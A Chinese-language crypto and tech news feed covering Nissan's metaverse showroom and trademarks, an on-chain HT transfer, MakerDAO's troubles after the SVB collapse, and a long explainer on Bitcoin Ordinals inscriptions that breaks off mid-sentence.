    原文：《元宇宙虚火烧尽 日产“逆势”布局》 撰文：木沐，元宇宙日爆 编辑：文刀 风口总消散在新一轮的风口下。 席卷资本市场的 ChatGPT 令元宇宙显出明日黄花之态，当潮水退去，市场回归理性，身处元宇宙时代的玩家们已然走到了十字路口，汽车企业日产做出选择——逆势布局。 今年 3 月，日产创建汽车虚拟展厅，同时为旗下汽车品牌申请了 4 项元宇宙相关商标，涵盖虚拟服饰 + 汽车、虚拟商店 +NFT、NFT 市场、元宇宙广告服务。 逆势布局元宇宙，日产并非是唯一的孤勇者。汽车巨头通用汽车在今年 2 月为旗下的凯迪拉克和雪佛兰提出 2 项元宇宙相关商标申请；奔驰与英伟达合作打造虚拟数字工厂；起亚（德国）与 VR 技术公司 ENGAGE XR 合作在元宇宙中开设首家旗舰经销店…… 作为科技创新的「试验田」，汽车产业试图用元宇宙吸引未来客户。但当微软等一些科技大厂后撤追求新风口时，还看好元宇宙的车企们如何继续？ 支持客户通过自己的虚拟形象直观地了解汽车生产工艺，体验「360°驾驶视野」，感受驾驶场景，客户甚至可以使用 3D 模拟器参与到汽车的创建与个性化定制。这是 3 月 8 日日产推出的虚拟实验室「Nissan Hype Lab」开始的「示范实验」。 在 3 个月的实验期内，顾客可以通过虚拟展厅在元宇宙空间中体验或购买樱花、奇骏、阿里亚、淑女 Z 四种车型，通过个人电脑或智能手机 24 小时访问虚拟店面，或在特定的时间内与虚拟销售人员互动，敲定购买合同。 从「Nissan Hype Lab」形态看，它有点像日产线上的沉浸式「虚拟 4S 店」——集体验、销售于一体。只是车型有限，但线上的好处是能够引流互联网重度用户。而在产品体验上，它也存在与目前市面上元宇宙空间一样的问题：画面不够精细，互动性还不强。 创建虚拟展厅的同时，日产还马不停蹄为旗下的英菲尼迪（INFINITI）、Nismo 等日产品牌提交了四项商标申请，涵盖虚拟服饰 + 汽车、虚拟商店 +NFT、NFT 市场、元宇宙广告服务。 诸多行动都释放了日产积极布局元宇宙的信号，但它不是今年唯一在元宇宙上选择继续布局的车企。《元宇宙日爆》梳理了近三个月来颇具代表性的案例：通用汽车申请注册元宇宙相关商标，宝马、奔驰、起亚、比亚迪等国内外头部车企也推出了虚拟展厅、智能座舱等多个落地场景。 2023 年近 3 个月的车企元宇宙 /Web3 动作 进入 2023 年，汽车厂商对元宇宙态度，开始从炒概念转为拼技术、拼应用。这在全球规模最大的国际消费电子展（CES 2023）上就有体现，多家车企带来的最新元宇宙技术与应用场景成为展会亮点。「体验」「交互」「务实」三个关键词反应了当下汽车元宇宙由概念营销转向技术落地的发展趋势。 诸多动向表明，一些车企并没有放弃元宇宙。当元宇宙脱离泡沫，由虚向实迈进，汽车厂商借元宇宙做品牌营销成分正在减少，技术和产品实打实地在浸入卖车甚至造车的环节。 汽车行业由虚向实了，但整个元宇宙赛道露出了萧条迹象。 中国商标网数据显示，2021 年以「元宇宙」、「Metaverse」为关键词的注册商标申请总量达 2386；但到了 2022 年，元宇宙相关商标的注册量明显下降，提交数为 898 份，差不多是 2021 年的零头；而 2023 年 1 月至 3 月商标注册量为 238，与 2022 同期相比下降 112%。 哪怕是在 NFT、AI、VR/AR 发展成熟的美国市场，元宇宙的热度也在迅速散去：Michael Kondoudis 律师事务所统计的数据显示，2021 年，美国专利商标局共收到 1914 份关于元宇宙相关的商标申请；2022 年出现激增，有 5850 份，在 3 月达到注册高峰，随后呈现明显的下降趋势。 2022 年 Metaverse 商标申请数据（By Michael Kondoudis 律所） 行业伊始时，塞进来的伪元宇宙过多，如今泡沫破裂，行业走进冷静期。还想继续探索元宇宙的车企怎么办？ 一直以来，汽车产业是许多前沿科技创新的「试验田」，也是人工智能、5G、3D 图形算法、AR/VR 等技术早期成长的绝佳土壤，汽车的智能化发展高度依赖 VR/AR 的软硬件、芯片、算力、操作系统等关键技术，其中几项涉及与虚拟现实相关的元宇宙技术。但为行业提供科技动力的科技巨头在压缩自身的元宇宙业务。 2023 年 2 月，微软裁撤涉工业元宇宙的业务团队，负责混合现实硬件（MR）的 HoloLens 团队及重点支持该硬件研发的 MRTK 开发团队也相继遭到大规模裁员。推出企业级 VR 硬件 Quest Pro 的 Meta，早在去年就进行了大规模裁员，超 11000 名员工失业，据悉，今年还要裁。汽车厂商们短期内或面临技术支持难以跟进的难题。 当第三方的技术支撑打退堂鼓时，汽车企业再想结合元宇宙技术，可能需要寻找更靠谱的合作商，甚至要自力更生了。 比如，宝马在 CES 2023 首发概念车「BMW i Vision Dee」，通过引入由平视显示和混合现实交互界面组成中央控制系统。而梅赛德斯 - 奔驰则找到了长期输出技术的企业——与英伟达合作开发软件定义汽车，通过引入 NVIDIA Omniverse，将 AI 和元宇宙技术进一步融入自身的开发流程之中，工程师能够对其智能驾驶功能进行测试和验证，打造更智能、更高效的数字工厂。 回溯历史上每一项划时代技术和产品的诞生，似乎都经历着漫长的探索。元宇宙这一概念从科幻小说进入到我们视野用了近 30 年的时间，而元宇宙从虚幻概念到实际落地则需要科技领域的长足进步，汽车元宇宙至少已不再是空中楼阁，也仍有更多的场景等待解锁。  ( 5 min )
    数据：疑似火必前COO朱嘉伟地址昨日将超40万枚HT转至火必，约合160万美元
    PANews 3月20日消息，Etherscan数据显示，链上标记为“zhujiawei.eth”(疑似火必前COO朱嘉伟)的地址在22个小时前将超40万枚HT发送到火必充值地址，约合160万美元。  ( 4 min )
    传统金融危机四伏，浅析“加密联储”MakerDAO的困境与机遇
    原文：《硅谷银行暴雷之后，看MakerDAO的困境与机遇》 近期硅谷银行暴雷引起传统银行危机四起，一周多之前市场对USDC无法完全兑付的担忧引起了USDC、BUSD、DAI、FRAX等一系列稳定币的脱锚。尽管目前这些稳定币已基本重新锚定1美元，但这次危机让加密市场对这些稳定币的风险有了新的认识，并再次提出了去中心化稳定币的需求。 而作为目前流通量最大的去中心化稳定币DAI及其项目方MakerDAO能否抓住机会让DAI被更多用户接受呢？今天，我们就来聊一聊MakerDAO的困境与机遇。 MakerDAO简介 MakerDAO 是一个运行在以太坊上集超额抵押稳定币（DAI）、借贷、存储、用户共同治理为一体的老牌DeFi项目。在 MakerDAO 系统中，主要使用两种代币：DAI 和 MKR。DAI 是MakerDAO推出的去中心化稳定币，MKR 是 MakerDAO 的治理代币。 当用户需要借贷资金时，他们可以通过将加密资产抵押在 MakerDAO 平台上，借出稳定币 DAI。而 MKR 持有者可以参与MakerDAO平台的治理、更改利率、提出提案并参与投票决定 MakerDAO 系统的未来。2023年2月，MakerDAO的团队宣布成立了Phoenix Labs开发Spark Protocol等新的DeFi项目以扩大MakerDAO的生态。 1. 协议处于亏损状态 MakerDAO的创始人Rune Christensen指出在熊市中，MakerDAO的借贷收入和清算收入大幅下降，而整个协议需要大约115人的团队来维护，团队支出加上MKR的补偿使得整个协议处在亏损状态且没有增长点。此外，MKR的赋能有限。MKR从21年5月后价格一路阴跌，MKR持有者无法清楚地了解MakerDAO创造的收入具体是如何被耗尽的。 信息来源：https://forum.makerdao.com/t/the-endgame-plan-parts-1-2/15456 2. 治理困难 MakerDAO目前的治理流程所需时间长，流程复杂。在黑天鹅事件中无法快速反应，也降低了新产品、新功能的开发速度。2020年3月12号，整个市场大跌，MakerDAO中大量的抵押物跌破清算门槛，因未能及时清算而造成400万美元的坏账，之后社区提案增发MKR来填补坏账和引入清算熔断机制。2023年3月10号有超过7亿的USDC通过PSM兑换成DAI出逃导致DAI的脱锚。随后社区紧急提案增加USDC兑换DAI的费率但为时已晚。3月13号，社区提议增加PSM紧急开关以便在危机时刻无需通过治理就可暂停稳定币的兑换。 3. 外部竞争 Frax Finance同为去中心化稳定币赛道的竞争者，通过抓住Liquid Staking Derivatives(LSD)的机会推出frxETH与sfrxETH，目前铸造的frxETH已超过11万枚。而Curve、Aave、Liquity等头部DeFi项目均下场准备发行自己的稳定币，这些去中心化稳定币的出现会持续抢夺DAI的市场份额。MakerDAO在去中心化稳定币赛道里将面临更激烈的竞争。 图片来源：Vulcan post 4. 监管风险 在Tornado Cash被制裁后，USDC的发行商Circle积极配合美国执法机构的制裁，冻结标记地址的USDC。部分黑客会将所盗资产转换为DAI以逃脱USDC和USDT发行商的冻结，加上MakerDAO国库中大部分为USDC，在未来美国监管机构有可能会对MakerDAO施加更多监管的压力。 MakerDAO目前最核心的竞争力是DAI。它是链上使用最多的去中心化稳定币。MakerDAO采用了四种机制帮助DAI更加稳定地锚定1美元。 1. 超额抵押加密资产 首先MakerDAO认可的抵押资产的风险都相对较小。可抵押的资产为BTC、ETH、LINK、YFI、MATIC、稳定币等经受过市场考验的加密货币。此外，根据资产的波动水平和风险，MakerDAO会设置102%-5000%的抵押率，以保证在抵押资产下跌后能及时地清算资产，确保DAI是足额抵押的。它与UST这类算法稳定币不同。DAI的价值是由多种风险较小的加密资产支撑，而UST是由LUNA转换和Anchor生息产生的，其背后的支撑是市场对UST的信心。 2. DAI存款利率 持有DAI的用户可以将DAI锁入MakerDAO的DSR合约中以获得储蓄收益。MKR持有者可以投票决定调整DAI存款利率。如果DAI价格超过1美元，MKR持有者可以选择降低存款利率来降低DAI的需求量，使得DAI降至1美元；反之，MKR持有者可以选择提高存款利率来增加DAI的需求量，使得DAI升至1美元。 3. Peg Stability Module(PSM) 用户可以使用PSM模块将USDC和DAI1:1兑换，每日总限额为9.5亿（3月14号已改为2.5亿）。这种无滑点的稳定币兑换降低了用户的交易成本，激励用户兑换并持有DAI。这在一般情况下扩大了DAI的采用，同时当DAI面临脱锚时可市场可用USDC套利帮助DAI重新锚定1美元。 4. Curve的稳定币3pool Curve的稳定币3pool由三种稳定币 DAI、USDC 及USDT 所组成。通过稳定币3pool，DAI与USDC、USDT绑定。一般情况下，3pool中有稳定币偏离1美元时，普通用户以及套利者可以通过存入3pool中占比最小的稳定币或是取出3pool中占比最大的稳定币来套利，帮助3pool回到平衡状态。 通过DAI的锚定机制我们可以发现，除去抵押加密资产而铸造出的DAI外，DAI还可以通过PSM用USDC直接兑换，以及在Curve的3pool用USDC和USDT兑换。下图很好地展示了DAI背后的大部分抵押物的本质：美联储的资产储备。 目前，62%的DAI是通过PSM用USDC兑换得来，通过非稳定币的加密资产抵押铸造出的DAI不到20%。这使得DAI的中心化程度越来越高，并且DAI很可能会承受USDC和USDT的风险。 数据来源：Dai Stats 3月10号，发行USDC的Circle公司在硅谷银行有33亿美元的风险敞口，硅谷银行的破产可能导致USDC无法完全赎回。市场的恐慌情绪持续上升，USDC出现脱锚，最低脱锚至0.88美元。大量USDC出逃，其中有超过7亿的USDC通过PSM换成DAI出逃，加上DAI大部分的抵押物也是USDC，市场对DAI也产生恐慌，导致了DAI的脱锚。目前USDC、DAI已重新锚定1美元，但对于DAI越来越像USDC的担忧并未消失。如何减少USDC、USDT相关风险对DAI的冲击是MakerDAO需要思考的问题。 此外，作为抵押在MakerDAO金库的USDC被MakerDAO用来购买美国国债。目前MakerDAO已购买了5亿6个月期限的美国国债，并在3月8号提出额外分配7.5亿美元资金购买美国国债以增加国库的收入。一方面这让DAI的大部分抵押物变成了美国国债，受制于中心化的政府机构，很可能面临监管审查。另一方面，这在一定程度上消除了USDC的风险并增加了MakerDAO协议的收入。 1. 扩大债券和贷款的投资。 尽管MakerDAO购买美国国债引起了不少争议，但在2022年11月后国债的收益成为了MakerDAO的主要来源，并且MakerDAO的社区大部分也支持这一做法。购买债券的收益可以帮助MakerDAO在熊市里继续运转和开发新产品。 数据来源：MakerDAO - Assets per type 2. 推出MetaDAO架构简化治理并为MKR赋能。 每一个MetaDAO都是MakerDAO的一个子DAO，可以拥有自己的代币和金库，专注于自己DAO内部的分工、治理和开展活动，而无需被其它MetaDAO分散注意力。每个Meta都可以发行自己的代币并与MKR组成流动性池子，MakerDAO会发放额外的MKR作为流动性激励。即将推出的Spark Protocol就是第一个MetaDAO，主要业务为借贷，与Aave直接竞争。在Spark Protocol中有可能会允许抵押MKR借出DAI，这将会极大地提高MKR的需求。Spark将支持stETH等LSD抵押借出DAI来吸引更多以太坊资产，减少DAI抵押物中USDC的占比。 信息来源：https://forum.makerdao.com/t/the-endgame-plan-parts-1-2/15456 总结 MakerDAO目前面临亏损和激烈竞争，DAI背后的中心化问题和监管风险也不可忽视。Spark Protocol是MakerDAO在DeFi赛道杀出重围的一个机会。它的成功推出将提高DAI的需求和使用量，并增加了MKR的应用场景：抵押借贷、流动性挖矿。后续其它MetaDAO的推出将继续为MKR赋能，继续提高DAI的需求和MKR的估值。  ( 4 min )
    万字雄文解读Ordinals：从点对点电子现金系统到NFT基础设施，比特币共识的范式演进
    文章：@TraFinity Labs @AIO Labs 作者：@masa @0xsilence @Luna.F TraFinity Labs & AIO Labs联合发布，AIONews全网首发。 比特币是区块链技术第一个成功的实践项目，使去中心化的概念深入人心。在比特币诞生10多年的时间里，其他各种类型的区块链项目层出不穷，他们有着更先进的技术，更高的TPS，更复杂多样的生态。相比而言，在功能性上，比特币的区块链网络主要功能是价值转移的实现，就是把一定数量的BTC从一个地址转移到另一个地址。 最近，Ordinals协议的发布，使得人们在比特币的链上创建NFT成为可能。那么Ordinals是什么原理，为什么它可以在比特币这个"古老"的链上创建NFT？比特币链上的NFT有没有参与价值以及如何参与？我们今天就来深入了解一下。 （图：截止到3月15日已经生成了463K的BTC Inscriptions） Section1 历史渊源 1.1 BTC网络发展历程 比特币(Bitcoin)是全球首个被广泛接受和使用的加密货币，在经历了十多年的发展和演进，如今已成为领先的全球性开放式去中心化数字货币。比特币的成功主要归功于其独特的区块链技术，这是一种基于去中心化网络的主要创新，使它成为了一个没有中央管理者或机构控制的数字货币。 1.起源 比特币(Bitcoin)的起源可以追溯到2008年，由一位或一组名为"中本聪"的神秘人物提出并实现。中本聪在一篇名为《比特币：一种点对点电子现金系统》(Bitcoin: A Peer-to-Peer Electronic Cash System)的白皮书中介绍了比特币的基本思想和技术方案。在此之后，中本聪开始着手实现比特币项目，并于2009年1月3日推出首个比特币区块链。 2.初创阶段 在比特币(Bitcoin)的早期发展阶段，它仅受到一小部分人的关注，不过很快就开始吸引越来越多的用户和投资者。2010年5月，比特币在一次交易中被用于购买了比萨饼，这标志着比特币成为世界上首个商用数字货币的开始。在2011年，比特币价格开始上升，从当时的几美分达到了每单位30美元的峰值，随之而来的是一波短暂的热潮。不过此后，比特币价格迅速下降至每单位2美元以下，比特币的流动性、库存和接受度都受到了惊人的打击。 3.成熟阶段 在2012年，由于比特币的独特性和其可能对经济的重要意义，包括一些著名的金融专家开始关注比特币。这年6月，第一个比特币采矿奖励减半事件发生，这将比特币的采矿奖励从50比特币减半至25比特币，并为今后的每四年实施类似的事件铺平了道路。这吸引了越来越多的人们参与到比特币的挖矿和交易中。2013年，比特币突破了100美元的价格大关，比特币社区的活跃度迅速提高，并开始在国内外出现了更多的比特币交易所和区块链创新企业。 4.全球扩张 比特币在全球范围内的接受度和普及率也随着时间的推移逐步提高。2014年，比特币价格在短时间内从1,200美元下跌至200美元，并在随后的几年中一直在价格上下波动。与此同时，比特币的技术生态系统不断壮大，并出现了许多新的应用程序和服务。2017年，比特币价格开始快速上涨，从几千美元涨到2万美元以上，创造了新的历史记录，并引起了全球范围内的广泛关注。在2018年，比特币价格再度成为焦点，下跌超过80%，但比特币市场依然保持着强大的生命力，它已经成为了成熟和广泛被承认的资产类别而非革命性的数字货币，而区块链技术则越来越广泛应用于金融、物流、医疗保健等领域中。在此后的十几年，BTC带领着加密数字货币掀起了全球金融财富领域的惊涛骇浪。 截至 2022 年，全球加密货币拥有率平均为 4.2%，全球拥有超过 3.2 亿加密用户。散户和机构不断涌入， 来自于Triple A 的调研显示：81% 的美国成年人在 2022 年听说过加密货币。比特币是美国加密货币所有者的热门选择，超过 73% 的加密货币所有者受访者拥有比特币。 5.今天和未来 目前，全球已经有数百万人使用比特币进行交易，并且比特币的使用方式正在不断拓展。比特币、以太坊、莱特币等区块链资产已经被广泛认可，大量的传统投资公司和基金都已经开始着手在这一领域进行投资。目前，全球范围内也已经出现了很多针对比特币和其他加密货币的金融服务，例如比特币交易所、钱包提供商、支付处理商等等。未来，比特币和区块链技术有着巨大的发展前景和应用空间，并与其他领域的技术和业务模式有着越来越多的交叉点。不过，比特币和区块链技术面临的挑战也不少，如可扩展性、可持续性、安全性、监管等问题，还需要不断地进行技术创新和改进。 什么是Taproot？维基百科给出了以下定义： Taproot：“主根（taproot）是一个大的、中心的、占优势的根，而其它的根会从其侧面发芽。通常，主根有些直，然后形状逐渐变细，并直接向下生长。在例如胡萝卜这样的植物中，主根是一种非常发达的贮藏器官，其已被作为蔬菜栽培。" Taproot方案提出者Gregory Maxwell给出的说法是： “这个词起源于一棵树的形象化，这颗树的中央有一个像蒲公英主根一样粗壮的中心（这项技术非常有用，因为假设有一条高概率路径，其余的路径就模糊化了）。我认为这是一个很好的方法，因为它通过利用根中隐藏的commitment来验证脚本路径的花费。 ……唉，将具有已排序内部节点的哈希树称为“桃金娘树”（Myrtle tree）并没有流行起来。 （Myrtle tree是包括Melaleuca树、茶树（tea-tree）在内的树家族，这听起来像'merkle'。:p)” （图：Taproot升级极大提升了BTC网络的私密性、可扩展性、安全性及其他特性） 具体来说，2021年的BTC进行了Taproot更新，增加了以下内容： 1.交易验证优化： Taproot将多种比特币交易验证条件合并为一个单一的条件，从而大大简化了验证流程，在交易过程中减少了上链信息的传输，提升了交易效率和交易确认速度，也增加了比特币网络的扩展性。同时，这也有益于提高隐私性。 2.Schnorr签名： Taproot利用Schnorr签名来减少交易签名信息，提高交易隐私性。最重要的是，Schnorr签名更好地接受了批量验证，甚至能够对多个签名进行组合。在 Taproot 中，这被用来隐藏比特币网络中的多余的、具有稍微公开性质的信息，以保护交易的隐私性。 3.ASCII式的脚本支持：在 Taproot升级中，新的计算机语言现在可以利用比特币的脚本语言进行编写。这使得比特币用户能够创建更为复杂的应用程序，更灵活地增强比特币脚本的灵活性和多样性。举例而言，这将为节点投票、闪电交易支出或基于比特币的复杂性交易带来便利。 4.多余条件：Taproot为比特币网络的多余条件提供了全面支持，这种技术可以将比特币交易的多个条件转化为一种非常高效的交易方法，轻松应对众多不同的交易和应用场景。 5.MAST支持：MAST是一种具有高度灵活性的合约形式，可支持基于树的标准合约的自定义组合。Taproot支持 P2SH（Pay-to-Script-Hash）中的MAST，提高了比特币的灵活性和多样性。 6.增强的密码学保护： 虽然比特币已经被证明为一种具有很强安全性的数字货币，但 Taproot升级将带来额外的保护措施，包括BIP-Schnorr的参与、通过程序的环保护所构建的Tapscript技术、以及将Schnorr签名融合入比特币脚本语言中，从而确保比特币交易的设施和过程无法被篡改或被黑客劫持。 Taproot 这种更复杂、更高级的比特币交易类型，允许在交易结构方面提供更多的隐私和灵活性。使用 Taproot，多方可以在不向世界透露所有细节的情况下就一项复杂的交易达成一致。Taproot 的升级，将催动比特币开启智能合约部署、拓展用例等各种场景升级。也就是说，Taproot 交易可能比顺序交易更复杂、更微妙，正是这种灵活性使得比特币上的 NFT 成为可能。 比特币的本质与指导其设计和开发的哲学有着千丝万缕的联系。首先，它是一种哲学，旨在通过密码学最大限度地发挥个人拥有和控制其资产和身份的能力。它还将货币奉为公共物品——不受国家控制——受制于纯粹机械和预定的发行。协议设计、交易终结和发行时间表中的不变性概念，牢牢扎根于参与和使用网络的设计和社区。因此，见证比特币的新用例如此突然地出现是令人惊讶的，就像Ordinals情况一样。 序数（Ordinals）是一个数学概念，它扩展了自然数的集合（1，2，3，......），包括一个顺序的概念。如果我们认为satoshis（sats）是比特币的基本粒子，也就是最小的、不可分割的组成元素，我们可以通过自然计数这些sats的铸造顺序来定义sats和序数之间的映射。在数学上，我们可以说satoshis的集合是有序的，因为在这些sat被铸造的顺序（在比特币链中被排序和记录）和我们用来计算它们的自然数集合之间存在一个明确的和定义良好的映射。 这种映射是可能的，因为虽然BTC的交换价值同样适用于所有的satoshis，但每个satoshi的身份是由区块链记录唯一确定的，这使得每个satoshi是不可替代的，因为每个satoshi与其他每个satoshi完全不同，可以区分。因此，虽然可替代性的概念通常以资产的交换价值为中心，但每个satoshi的完美（即完整、独特）历史，从它被铸造的那一刻起，贯穿每笔交易，使我们能够为每个satoshi假定一个身份--这个身份可能反过来影响交换价值。然而，这并不是对satoshi进行分类的唯一方法，因为其他同样有效的编号系统也可以实施，例如先进先出与后进先出。 在迄今为止已开采的1.9万亿个satoshi中，对satoshi的排序自然会导致对一个satoshi的相对稀有性和价值的多种解释。因此，我们可以认为在一个区块中铸造的第一个satoshi币要比平均satoshi币稀有得多，因为总共有~776,400个区块。我们可以进一步确定难度调整中的第一个satoshi，难度调整每两周发生一次（总共有~242个难度调整），甚至是减半后的第一个satoshi，减半每四年发生一次（至今有3次减半），以确定难以置信的稀有的satoshi。然而，这种归属系统是完全任意的，因此，其他赋予sat稀有性的方法最终可能会比之前描述的基于sat发行的系统更占优势。其他根据satoshi顺序定义名称、数字、坐标、百分比等的方案也同样可以考虑。 NFT的全名为非同质化代币（Non-Fungible Token），与比特币(Bitcoin)作为典型的同质化货币代币（FT）不同，每个NFT独特且不同于其他任何NFT。由于比特币网络的设计不允许出现NFT，Ordinals提出了一种新的处理方式来观察这些BTC代币的方式。 比特币总共有2,100,000,000,000,000个最小单位，即聪(Satoshi)，而1个BTC = 100,000,000 Satoshi。所以全部的比特币的数量是2,100,000,000,000,000 Satoshi。Ordinals通过为这些Satoshi进行顺序编号，将这些Satoshi区别开来，这也是“Ordinals：序数”这个项目名字的由来。编号的方式有多种，比如直接按照纯数字的顺序号比如[2099994106992659](https://ordinals.com/sat/2099994106992659)，或者按照每个Satoshi出现位置的区块号+偏移量比如[3891094.16797](https://ordinals.com/sat/3891094.16797) 等。对Satoshi进行编号后，任何资产，如NFT、安全代币、账户或稳定币，都可以使用序号作为稳定标识符附加到Satoshi上。Ordinals将这种“附加”（attach）动作称为铭刻（inscribe），类似于以太坊NFT的铸造（mint）行为。 接下来问题就是如何Satoshi区别于其他Satoshi？打个比方，在许多魔术表演中，魔术师会使用硬币、纸牌等物品作为魔术道具。为了证明魔术师没有偷换过硬币，没有将其修改过，魔术师会让观众在硬币上做个记号，暗示着这个硬币是世界上唯一无二的，与其他硬币不同，因此魔术师不可能使用其他硬币来欺骗观众。Ordinals序数理论的方式通过在Satoshi上进行标记达到每一个Satoshi都和其他Satoshi不同的效果。 许多人可能会认为这种方式有些牵强，但是一个新事物的出现往往会伴随着争议。此外，给比特币标记并不是第一次出现的事情，例如试图在比特币上创建DNS的Namecoin（BIP15）、尝试为比特币添加标记的Colorcoin等。Ordinals是这些尝试中最近且最成功的一个。与以太坊等智能合约构建的NFT体系不同，Ordinals铭文的所有数据都存储在链上，不依赖于IPFS或AWS S3等外部存储，是真正意义上的去中心化，并像所有比特币交易一样在区块链中保存。例如，最初进入人们视野的比特币NFT图片Taprootwizards存储在链上的区块号为774628。 不过，将图像存储在链上会占用其他正常比特币交易的空间。这也是Ordinals受争议的另一个方面，它“污染”了比特币的这个金融交易系统，占用了正常的转账交易的宝贵的存储空间。但是从另一个角度看，这也开拓了比特币的应用场景，让比特币产生了除了转账之外的更多的功能。从技术上讲，比特币的协议对于这部分的数据没有做类型的限制，Ordinals遵循的是MIME协议，数据类型可以是图片，也可以是视频、文字、身份或其他，所以加以比特币最强大的去中心化的共识，未来比特币NFT相关的生态想象空间还很大。 （图：Taproot Wizard成为有史以来最大的BTC区块，占用了接近BTC区块的4M上限） Ordinals官方在文档中给出了更多的关于sat铭文和以太坊NFT对比之下的优势。两种NFT形式各有特点，比特币NFT给人一种蒸汽朋克的感觉，用原始的机械的基础设施构建一些复古但又高级的世界观。以下介绍了一些相关的技术背景及发行方法。 比特币脚本（Bitcoin Script）是比特币网络内置的一套编程环境，它通过一些简单的操作码（Opcode）组成的一套基于堆栈的脚本代码，让比特币实现了可编程支付的功能。比如最基础的P2PK（Pay to Public Key）支付方式，就是通过脚本定义了如何向公钥支付的检查过程。 比特币脚本（Bitcoin Script）并不是一个图灵完备的编程语言，他的定义和功能主要是为完成各种支付场景而设置的，并不能更加复杂的业务逻辑。而且Bitcoin社区对于增加新的OP_CODE相当的克制。也是因为无法给予比特币脚本的可编程性做出更加复杂的功能，当时比特币社区对重要成员Vitalik才会想要构建一个可编程性更加完善的区块链，以支持更加复杂的去中心化应用的开发，这也是Ethereum诞生的原因之一。。 Ordinals铭文内容完全在链上，存储在taproot script-path spend scripts脚本路径的花费脚本中。Taproot脚本对其内容的限制非常少，而且还能得到见证者的折扣，使铭文内容的存储相对经济。Taproot是即隔离见证segwit之后比特币扩容的最新阶段，比特币的扩容是为了提高比特币的交易量，但是客观上也为ordinals的出现创造了条件。 比特币扩容给Ordinals铭文创造了实现条件，从技术角度来看，越是去中心化程度高的区块链，效率通常也是最低的。时至今日比特币的单个区块大小依然是1M，和中本聪挖出的第一个区块大小一样。比特币社区没有直接走加大区块大小的这种简单粗暴的方案，而是走了隔离见证这个不需要硬分叉的方式。 以下是Ordinals依赖的BTC基础技术/特性： 隔离见证 在比特币的每笔交易信息分为两个部分：基础交易数据+见证数据，前者记录账户资金结余，后者是验证用户身份。对于用户而言，最关心的是账户资金结余等事关资产的核心信息，验证用户身份环节无需在交易中占据过多成本。简单来说，转账接收方只需要确认资产可用，无需明了发起方详细信息。但是，在比特币交易结构中，见证数据，也就是签名信息占用了大量的存储空间，进而耽误了转账效率、增加了打包成本。隔离见证技术，就是将见证数据从交易信息中提出来单独存储。 （图：2016年BTC更新的隔离见证Segwit技术） Taproot Taproot是一次优化比特币脚本的软分叉，提升私密性、效率以及网络处理智能合约的能力。这是自2017年SegWit升级之后，公认的比特币重大升级。 Taproot升级由3项不同的比特币改进提案(BIP)组成，其中包括：Taproot、Tapscript及其核心，即名为“Schnorr签名”的全新数字签名方案。Taproot旨在为比特币用户带来诸多好处，例如提升交易私密性和降低交易费用。还将让比特币执行更多复杂的交易，从而拓宽应用场景。ordinals协议就是利用的taproot script-path spend scripts脚本来实现的附加数据，所以想要使用ordinals首发铭文，需要使用P2TR脚本类型的地址。 闪电网络 闪电网络和ordinals协议的技术需求并无直接关系，但是因为ordinals地址是支持闪电网络的比特币地址，且闪电网络可以降低交易费用，加快交易确认速度，所以可以用在铭文的铸造过程。 铭文（Inscriptions）在交易中的编码方式 由于taproot脚本的花费只能从现有的taproot输出中进行，所以铭文是通过一个两阶段的提交/揭示程序来进行的。首先，在提交事务中，创建一个提交给包含题词内容的脚本的taproot输出。其次，在揭示交易中，由提交交易创建的输出被花费，揭示链上的铭文内容。 铭文内容在未执行的条件中使用数据推送进行序列化，称为 "封装"。包络由一个OP_FALSE OP_IF ... OP_ENDIF组成，包裹着任意数量的数据推送。因为封套实际上是无操作的，所以它们不会改变包含它们的脚本的语义，并且可以与任何其他锁定脚本相结合。 一个包含字符串 "Hello, world!"的文本铭文被序列化如下： JavaScript OP_FALSEOP_IFOP_PUSH "ord"OP_1OP_PUSH "text/plain;charset=utf-8"OP_0OP_PUSH "Hello, world!"OP_ENDIF Ordinals协议本质上就是将这一段代码序列化到见证脚本里面。 我们用一个例子来对编码进行说明，这是编号为139342的铭文，它将一个时间字符串“Fri Feb 17 05:02:18 PM CET 2023”铭刻到编号为1324061169091174的sat上，下面是它在ordinals浏览器的链接。 [该类型的内容暂不支持下载] 我们可以在mempool.space中查看这个交易的详细信息 ： 我们对witness字段对第二部分进行编码分析，可以了解序列化的编码内容： 所以只要我们能把这见证脚本中的这部分的代码解码出来，就能知道铭刻的内容了。这里编码的是纯文本信息，其他数据比如html、图片、视频等也都是类似的。理论上用户可以定义自己的编码内容，甚至是只有自己知道的加密内容，只不过这些内容不能在ordinals浏览器中显示。 铭文（Inscriptions）是独立存在的——与之前的解决方案（如 OP_RETURN 或将数据编码到多个交易输出中）相比，人们现在可以在链上放置更多的任意内容。但是如果用户采用序数（Ordinals），这些铭文也可以绑定到个人 satoshis，使他们能够作为 NFT 进行交易和转移。重要的是，铭文与单个序号（sat）的关联是基于一种用于对单个 satoshis 进行分类的链下方法，参与节点必须遵守并同意该方法才能使铭文和序号之间的任何此类连接“存在”任何有意义的意义。虽然铭文本身被发布到实际的区块链数据中，并且所有完整的存档节点都可以看到、实例化、支持和相信序数本身的存在需要社会共识。 官方文档提供了ord工具用来在BTC上铭刻Inscrptions。可以参考发行文档，其中介绍了是铭文（Inscriptions）以及如何使用 ord创建和转移Inscriptions。Inscriptions可以用来记录任意内容，并且可以存在于比特币钱包中。与比特币一样，Inscriptions也具备持久、不可改变、安全和去中心化的特征。发行Inscriptions维护需要比特币全节点以查看当前的比特币区块链状态，和可以创建Inscriptions和执行 sat 控制的钱包以构建发送到另一个钱包的交易。ord是一个基于 Rust 写的命令行工具，可以建立在 Bitcoin Core的钱包之上。它提供了创建、使用和转移Inscriptions的命令。该文档提供了如何安装 Bitcoin Core、同步比特币区块链、创建 Bitcoin Core 钱包、接收和发送Inscriptions的详细说明。 铭文的铭刻显著扩展了比特币的设计空间，开辟了更多的场景应用。这将形成一个全新的叙事，开发文化层。是对原有比特币功能和使用的挑战和探索。铭文成为了价值收藏的一种形式，比特币 OrdinalsNFT 的类型主要包括图片（image）、文本（text）、视频（video）和音频（audio）这四类。未来比特币NFT市场生态将会更加多元化，基础设施的构建和工具的使用都对这个新兴领域至关重要。 与此同时，比特币的Ordinals NFT与传统的NFT发行具备显著的区别： 比特币的 Ordinals NFT始终不可变，而基于以太坊的NFT可以在技术上由合约所有者更改或删除。 比特币的Ordinals NFT始终有链上内容，不会丢失。铭文创作者必须支付与内容大小成比例的费用。相比之下，以太坊 NFT 内容可以链下存储在 IPFS 等平台上，并且可能会丢失。 比特币铭文更安全。铭文可以与 PSBT 一起出售，无需第三方（例如交易所或市场）代表用户进行转让。另一方面，以太坊 NFT 倾向于授予中介平台对用户 NFT 